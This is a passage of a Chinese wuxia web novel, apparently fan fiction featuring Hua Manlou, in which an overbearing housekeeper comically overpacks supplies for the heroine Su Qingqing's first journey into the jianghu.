橱柜和箱笼全被打开,原本还算整齐的衣物被翻得一团乱。
大娘嘴里嘟嘟囔囔,手上动作却快得惊人。
“一套衣裳哪里够?出门在外,风里来雨里去,万一划破了,弄脏了,连个替换的都没有,外面买的哪有咱们的衣裳好。”
她边说边利落地抖开几件料子结实耐脏的衣裳,三两下叠得整整齐齐,不由分说就往苏青青那个小包袱里塞。
“哎?张大娘,等等。”苏青青眼疾手快,一把按住包袱口,“这……这不是三件了吗?太多了吧?”
她看着自己那可怜的小包袱瞬间鼓胀起来,一脸肉疼。
“多?”张大娘眉毛一竖,拿起其中一件黑色的,料子更厚实些的,“看清楚!这件是夜行衣!懂不懂?晚上办‘事’用的!”
她没好气地把夜行衣也塞了进去。
苏青青缩了缩脖子,不敢吱声了。
心里却在嘀咕:以前在游戏里“行走江湖”,连包袱都不用带,一个意念背包啥都有,这现实也太麻烦了。
张大娘手脚不停,目光又扫向苏青青的脚:“还有你这鞋子。”
她叹了口气,语气带着过来人的无奈,“天天赶路,风吹日晒雨淋,鞋底都得烂掉!你打算走到半路光着脚?”
苏青青低头看看自己脚上那双半旧的布鞋,低声解释:“我可以买。”
“买的有我做的好?”张大娘白她一眼。
衣物总算告一段落。张大娘拉着苏青青,风风火火的直奔厨房。
“火折子要拿两个,一个丢了还有另一个救命。” 她麻利地塞进一个油布小包。
“碗筷一副,小铁锅一个。荒郊野岭,生堆火就能煮点热乎的,比干啃饼子强百倍。” 她把锅碗被用布包好,捆扎结实。
“米带一小袋,真到了前不着村后不着店的地方,挖点野菜混着米煮粥,也能顶两天。”
“大水壶,要带三个。天热赶路,水就是命。” 三个沉甸甸的皮质水壶被挂在了旁边。
张大娘又扯出了两大张厚实的桐油布和一床轻薄的棉布夹被:“油布铺地隔潮,下雨还能当雨披,薄被卷起来不占地方,山里晚上冷,别仗着年轻就硬扛。”
“大娘,这……这就不必了吧?”苏青青看着不断增加的物件,头皮发麻,“我……我打算住客店的呀?”
“住客店?”张大娘停下动作,回头瞪了她一眼,仿佛她说了什么天大的笑话。
“你怎么保证日日都能恰好赶到有客店的城镇?万一错过了宿头呢?万一那客店满了呢?万一……”
她连珠炮似的发问,堵得苏青青哑口无言。
“那米和锅能不带吗,我……我可以只带干粮!”苏青青弱弱地挣扎。
“对,干粮。”张大娘一拍脑门,仿佛才想起这件大事,“光想着米了,干粮更要紧。耐放的烙饼、肉脯、果脯……等着,我这就去给你弄!点心也得带点,甜的顶饿,心情不好时还能甜甜嘴儿。”
等到张大娘从厨房和库房搜刮一圈回来,苏青青看着地上那堆小山似的物资,眼睛都直了。
张大娘仿佛化身最精明的打包匠,开始进行最后的整合:
衣物包袱被重新整理压实。
锅碗、米袋、干粮点心包捆在一起。
火折子、金疮药)、几颗气味刺鼻的解毒丸、一小包打磨得锃亮的飞镖和几根泛着幽蓝的毒针、两套精巧的飞抓百练索、一顶宽檐挡雨的斗笠和一件防风的深色斗篷、一块沉甸甸刻着“花”字的乌木令牌、甚至还有一身轻薄紧致的水靠。
最终,地上赫然出现了四个“半人高”、鼓鼓囊囊的大包裹!每一个都分量十足,捆扎得结结实实。
苏青青看着这四个庞然大物,再看看自己背上那个可怜的小包袱,感觉一阵眩晕,声音都有些颤抖:“张大娘,这……这么多东西,我怎么背得动啊?”
她想象着自己背着四个大包裹,在道上艰难挪动的场景,简直欲哭无泪。
张大娘
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抹了把额头的汗,叉着腰,看着自己的“杰作”,满意地点点头。
听到苏青青的哀嚎,她嗤笑一声,中气十足地回道:“这算什么,若是大户人家的小姐出门远行探亲,光下人就得坐几个马车,这还差得远呢!”
她话音未落,耳朵忽然动了动,脸上露出笑容,“来了来了!”
她几步走到院门口,探头向外张望,随即高兴地回头冲苏青青招手:“快,青青,马车来了,我们把东西都搬上车去!”
苏青青走到院门口去看,整个人都惊呆了。
只见一辆结实宽敞的青篷马车,正稳稳地停在小楼外的巷子里。
一个憨厚的中年汉子,跳下车辕,笑着看向张大娘。
“这就是你大叔!”张大娘随口介绍。
苏青青看着那辆及时出现的马车,再看看地上那四个大包裹,长长地、长长地舒了一口气。
这闯荡江湖的第一步,似乎比她想象中要“隆重”得多。
“对了,”苏青青扛着包裹突然道:“我不会赶车。”
“这有什么?”张大娘不屑一笑,“让你张大叔跟你一起去。”
苏青青:“……”
苏青青把头摇成了拨浪鼓。
黄昏,已经到了黄昏。
苏青青站在门口,呆愣愣的看着面前超重的马车。
她突然对身边的花满楼道:“陆大哥出门从不带这么多的行礼。”
“所以他是陆小凤。”花满楼道,“陆小凤从小就在江湖上闯荡,每个地方都有他的朋友。”
苏青青撇了撇嘴。
“你对外面的路熟悉吗?怎么保证自己每次都能及时进城。”花满楼问道。
苏青青只有闭嘴。
张大娘突然拍了一下手,“对,还有地图,我得装上地图。”
苏青青的脑子极速转动,突然又想到了什么,脱口而出:“可是,目标这么大,很容易被打劫吧?”
花满楼笑道:“坏人有时并不关心你带的东西多少。”
苏青青突然想到之前被抓的经历,叹了口气。
“但是,有些坏人反而会顾忌马车上花家的标记。”花满楼又道。
苏青青只能点头赞同。
“你还有一件东西没带。”花满楼突然开口。
苏青青惊恐的看向他。
“银票!”
27. 不告而别